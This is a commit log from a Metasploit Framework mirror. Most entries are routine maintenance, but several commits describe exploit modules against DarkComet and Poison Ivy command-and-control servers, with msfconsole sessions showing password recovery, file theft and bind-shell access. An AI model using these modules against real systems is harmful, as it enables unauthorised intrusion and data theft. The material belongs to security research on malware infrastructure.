1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00
Commit Graph

35290 Commits

Author SHA1 Message Date
samvartaka
5260031991 Modifications based on suggestions by @wchen-r7 2016-06-08 01:17:15 +02:00
samvartaka
8ca571aee3 no message 2016-06-03 19:29:55 +02:00
samvartaka
0114d2cf0b This module exploits a publicly known vulnerability in the C2 server of DarkComet versions 3.2 and up
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf), possibly affecting
earlier versions as well. The vulnerability can be exploited without knowledge of the secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery after which the exploit can be used to download arbitrary files from a DarkComet C2 server.

See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.

## Console output

Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).

### Version 5.3.1 (unknown password)

```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
   KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
   LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
   NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
   RHOST         0.0.0.0          yes       The target address
   RPORT         1604             yes       The target port
   STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
   TARGETFILE                     no        Target file to download (assumes password is set)

msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```

### Version 4.2F (unknown password)

```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
   KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
   LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
   NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
   RHOST         0.0.0.0          yes       The target address
   RPORT         1604             yes       The target port
   STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
   TARGETFILE                     no        Target file to download (assumes password is set)

msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run

[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
2016-06-03 19:24:56 +02:00
samvartaka
290e1eb0fa This module exploits a previously unknown stack buffer overflow vulnerability
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).

See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.

## Console output

Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).

### Version 2.1.4

```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...

[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
2016-06-03 19:20:06 +02:00
samvartaka
0a0e7ab4ba This is a modification to the original poisonivy_bof.rb exploit
module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.

See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.

## Console output

Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.

### Version 2.3.2 (unknown password)

```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```

### Version 2.2.0 (unknown password)

```
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.

msf exploit(poisonivy_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
   1   Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
   2   Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1

msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0

msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
2015-09-07 17:48:28 +02:00
Brent Cook
d7887b59aa
Land #5892, update pcaprub to the latest version 2015-09-04 17:26:29 -05:00
Brent Cook
408edda4de add libpcap-dev to our travis dependencies 2015-09-04 17:24:49 -05:00
Brent Cook
a3d212c92b
Land #5933, ensure commands exit with consistent status from -h 2015-09-04 17:07:09 -05:00
jvazquez-r7
23ab702ec4
Land #5631, @blincoln682F048A's module for Endian Firewall Proxy
* Exploit CVE-2015-5082
2015-09-04 16:28:32 -05:00
jvazquez-r7
2abfcd00b1
Use snake_case 2015-09-04 16:27:09 -05:00
jvazquez-r7
15aa5de991
Use Rex::MIME::Message 2015-09-04 16:26:53 -05:00
jvazquez-r7
adcd3c1e29
Use static max length 2015-09-04 16:18:55 -05:00
jvazquez-r7
1ebc25092f
Delete some comments 2015-09-04 16:18:15 -05:00
jvazquez-r7
eaf51a2113
Land #5722, @vallejocc's busybox work 2015-09-04 13:36:44 -05:00
jvazquez-r7
5dd0cee36a
Add comment 2015-09-04 13:30:00 -05:00
jvicente
2b2dec3531 Fixed typo direcotry. 2015-09-04 18:52:55 +02:00
Vallejocc
4cdbabdde7 Merge pull request #1 from jvazquez-r7/review_5722
Code review and cleanup for Busybox PR
2015-09-04 18:45:53 +02:00
jvazquez-r7
319bc2d750
Use downcase 2015-09-04 11:18:09 -05:00
jvazquez-r7
05e1a69fe5
Add specs for prepend 2015-09-04 11:14:53 -05:00
jvazquez-r7
da221b82a8
Initialize dir 2015-09-04 11:07:49 -05:00
William Vu
a802317f84 Fix -h exit status for Omnibus 2015-09-04 10:24:49 -05:00
Brent Cook
e48bcb4e08
Land #5931, tweak titles 2015-09-03 14:52:52 -05:00
James Lee
b2c401696b
Add certutil support.
Tested while landing #5736
2015-09-03 14:24:37 -05:00
James Lee
3d428ef33d
Fix spec like I shoulda done before landing #5736 2015-09-03 14:23:30 -05:00
James Lee
7665747d1c
Land #5736, certutil cmdstager
Ferreal this time.
2015-09-03 14:21:21 -05:00
James Lee
1e6a1f6d05 Revert "Fix spec like I shoulda done before landing #5736"
This reverts commit 956c8e550d.

Conflicts:
	spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
2015-09-03 14:18:55 -05:00
James Lee
82b27c9038 Revert "Land #5736, certutil cmdstager"
This reverts commit 93eb42dfa3.

Conflicts:
	spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
2015-09-03 14:18:28 -05:00
James Lee
956c8e550d
Fix spec like I shoulda done before landing #5736 2015-09-03 13:53:21 -05:00
James Lee
9ccd95af26
Land #5916, fix encoding when badchars contains - 2015-09-03 13:42:45 -05:00
James Lee
b4547711f3
Add certutil support.
Tested while landing #5736
2015-09-03 13:27:10 -05:00
James Lee
93eb42dfa3
Land #5736, certutil cmdstager 2015-09-03 13:13:24 -05:00
HD Moore
f0ef035a0b Update the module titles to clarify what these do 2015-09-03 12:53:25 -05:00
HD Moore
660c31e28b
Land #5413, add remove lockscreen for Android meterpreter 2015-09-03 12:43:05 -05:00
HD Moore
630057e23f Implement suggestions from the PR discussion 2015-09-03 12:42:51 -05:00
HD Moore
57c8038f07 Merge branch 'master' into land-5413 2015-09-03 12:38:19 -05:00
HD Moore
eed7b64a1a
Land #5412, adds Android screenshot post module 2015-09-03 12:32:35 -05:00
HD Moore
0f1530adc1 Merge branch 'master' into land-5412 2015-09-03 12:22:00 -05:00
HD Moore
6e4ae1238b
Land #5791, show the VHOST in module output 2015-09-03 11:36:19 -05:00
HD Moore
b8eee4a9e4 Show the IP address if it doesn't match the VHOST 2015-09-03 11:35:38 -05:00
HD Moore
9b51352c62
Land #5639, adds registry persistence 2015-09-03 11:26:38 -05:00
Brent Cook
e59db5077b
Land #5890, add Android post API 2015-09-03 10:31:55 -05:00
HD Moore
1b021464fe
Land #5919, remove deprecated VMware modules & update resource script. 2015-09-03 10:23:48 -05:00
Brent Cook
3334e94f80 update to metasploit-payloads 1.0.12 2015-09-03 09:59:56 -05:00
Brent Cook
70b5336356 Merge branch 'upstream-master' into land-5890-android-post-api 2015-09-03 09:51:35 -05:00
Brent Cook
895b692b0d
Land #5914, prevent loading cached modules outside of the load path 2015-09-03 09:29:13 -05:00
wchen-r7
ccd0a06353 Use === 2015-09-03 01:10:13 -05:00
Waqas Ali
9107cfc019 Remove rb from module name 2015-09-03 09:49:54 +05:00
Waqas Ali
8a99bca728 Update script with correct module path 2015-09-03 09:37:27 +05:00
Brent Cook
1440f31756
Land #5637, resiliency improvements to TCP stagers 2015-09-02 22:50:12 -05:00
OJ
3fd9e0311c Update payload sizes 2015-09-03 12:01:11 +10:00